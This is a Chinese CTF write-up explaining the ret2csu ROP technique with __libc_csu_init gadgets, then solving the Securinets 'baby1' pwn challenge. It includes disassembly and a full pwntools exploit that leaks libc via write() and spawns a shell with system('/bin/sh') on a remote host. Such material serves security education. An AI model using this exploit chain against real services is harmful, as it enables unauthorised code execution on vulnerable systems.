0x01 ret2csu

CTF Wiki

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

这里我们以本地编译的蒸米示例的level5为例,用objdump -d level5命令即可查看到以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
00000000004005c0 <__libc_csu_init>:
4005c0: 41 57 push %r15
4005c2: 41 56 push %r14
4005c4: 41 89 ff mov %edi,%r15d
4005c7: 41 55 push %r13
4005c9: 41 54 push %r12
4005cb: 4c 8d 25 3e 08 20 00 lea 0x20083e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry>
4005d2: 55 push %rbp
4005d3: 48 8d 2d 3e 08 20 00 lea 0x20083e(%rip),%rbp # 600e18 <__init_array_end>
4005da: 53 push %rbx
4005db: 49 89 f6 mov %rsi,%r14
4005de: 49 89 d5 mov %rdx,%r13
4005e1: 4c 29 e5 sub %r12,%rbp
4005e4: 48 83 ec 08 sub $0x8,%rsp
4005e8: 48 c1 fd 03 sar $0x3,%rbp
4005ec: e8 0f fe ff ff callq 400400 <_init>
4005f1: 48 85 ed test %rbp,%rbp
4005f4: 74 20 je 400616 <__libc_csu_init+0x56>
4005f6: 31 db xor %ebx,%ebx
4005f8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
4005ff: 00
400600: 4c 89 ea mov %r13,%rdx
400603: 4c 89 f6 mov %r14,%rsi
400606: 44 89 ff mov %r15d,%edi
400609: 41 ff 14 dc callq *(%r12,%rbx,8)
40060d: 48 83 c3 01 add $0x1,%rbx
400611: 48 39 eb cmp %rbp,%rbx
400614: 75 ea jne 400600 <__libc_csu_init+0x40>
400616: 48 83 c4 08 add $0x8,%rsp
40061a: 5b pop %rbx
40061b: 5d pop %rbp
40061c: 41 5c pop %r12
40061e: 41 5d pop %r13
400620: 41 5e pop %r14
400622: 41 5f pop %r15
400624: c3 retq
400625: 90 nop
400626: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40062d: 00 00 00

这里我们可以利用以下几点:

  • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15 寄存器的数据;
  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制rdi寄存器的值,只不过只能控制低32位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制r12与rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制rbx为0,r12为存储我们想要调用的函数的地址。
  • 从0x000000000040060D到0x0000000000400614,我们可以控制rbx与rbp的之间的关系为rbx + 1 = rbp,这样我们就不会执行loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。

BlackHat 2018

该项技术在BlackHat 2018中介绍过,下面用其PPT来说下。

先编写一个代码量很小的C代码,编译该C文件之后会看到存在大量代码,除去源代码部分,剩下的代码都成为Attached Code即附属代码:

这些Attached Code的攻击是多有效呢?

下面看下这两段可以利用的Gadgets,具体的描述前面已讲解,这里的图片更具体地表现出来了:

将两段Gadgets连接起来构造出ROP链,从而可以实现调用任意含有3个参数的函数:

利用write()函数泄露libc地址:

最终构造的ROP链:

什么时候适合应用ret2csu呢?

0x02 Securinets CTF baby1

这里以Securinets CTF的一道Pwn题baby1为例。

程序先输出一段内容,然后让你输入东西后即退出;是个动态链接文件,会加载libc;安全编译选项只开启了NX:

IDA分析下,存在明显的栈溢出漏洞,但在程序中找不到system()函数和”/bin/sh”字符串,但是可看到其是存在read()、write()和__libc_csu_init()函数的,由此可以联想到可以利用ret2csu技术来实现攻击:

通过objdump -d baby1命令查看__libc_csu_init()函数的gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0000000000400660 <__libc_csu_init>:
400660: 41 57 push %r15
400662: 41 56 push %r14
400664: 41 89 ff mov %edi,%r15d
400667: 41 55 push %r13
400669: 41 54 push %r12
40066b: 4c 8d 25 9e 07 20 00 lea 0x20079e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry>
400672: 55 push %rbp
400673: 48 8d 2d 9e 07 20 00 lea 0x20079e(%rip),%rbp # 600e18 <__init_array_end>
40067a: 53 push %rbx
40067b: 49 89 f6 mov %rsi,%r14
40067e: 49 89 d5 mov %rdx,%r13
400681: 4c 29 e5 sub %r12,%rbp
400684: 48 83 ec 08 sub $0x8,%rsp
400688: 48 c1 fd 03 sar $0x3,%rbp
40068c: e8 e7 fd ff ff callq 400478 <_init>
400691: 48 85 ed test %rbp,%rbp
400694: 74 20 je 4006b6 <__libc_csu_init+0x56>
400696: 31 db xor %ebx,%ebx
400698: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
40069f: 00
4006a0: 4c 89 ea mov %r13,%rdx
4006a3: 4c 89 f6 mov %r14,%rsi
4006a6: 44 89 ff mov %r15d,%edi
4006a9: 41 ff 14 dc callq *(%r12,%rbx,8)
4006ad: 48 83 c3 01 add $0x1,%rbx
4006b1: 48 39 eb cmp %rbp,%rbx
4006b4: 75 ea jne 4006a0 <__libc_csu_init+0x40>
4006b6: 48 83 c4 08 add $0x8,%rsp
4006ba: 5b pop %rbx
4006bb: 5d pop %rbp
4006bc: 41 5c pop %r12
4006be: 41 5d pop %r13
4006c0: 41 5e pop %r14
4006c2: 41 5f pop %r15
4006c4: c3 retq
4006c5: 90 nop
4006c6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
4006cd: 00 00 00

可以确定gadget1的地址为0x4006ba,gadget2的地址为0x4006a0。

GDB调试,使用pattern计算溢出字节为56:

这里我参考另一篇博文《蒸米32位及64位ROP笔记》中level5的第二种做法,我们再找一个pop rdi;ret的gadget:

找到该gadget地址为0x4006c3。

仿照level5写payload就好(具体的解释可以看《蒸米32位及64位ROP笔记》):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

p = remote("192.168.17.157", 10001)
p.recv(1024)

elf = ELF("./baby1")

gadget1 = 0x4006ba
gadget2 = 0x4006a0
pop_rdi_ret_addr = 0x00000000004006c3

main_addr = elf.symbols["main"]
write_got = elf.got["write"]
print "[*]main() addr: " + hex(main_addr)
print "[*]write() got: " + hex(write_got)

def csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = "A" * 56
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += "B" * 56
payload += p64(ret)
return payload

print "[*]sending payload to leak write() addr..."
payload = csu(0, 1, write_got, 8, write_got, 1, main_addr)
p.sendline(payload)
sleep(1)

write_addr = u64(p.recv(8))
print "[*]leak write() addr: " + hex(write_got)

p.recv(1024)

libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
print "[*]libc base: " + hex(libc_base)
print "[*]system() addr: " + hex(system_addr)
print "[*]/bin/sh addr: " + hex(binsh_addr)

print "[*]sending exp..."
exp = "A" * 56
exp += p64(pop_rdi_ret_addr)
exp += p64(binsh_addr)
exp += p64(system_addr)
p.sendline(exp)
p.interactive()

这里打远程的机子:

0x03 参考

ret2csu

return2csu学习笔记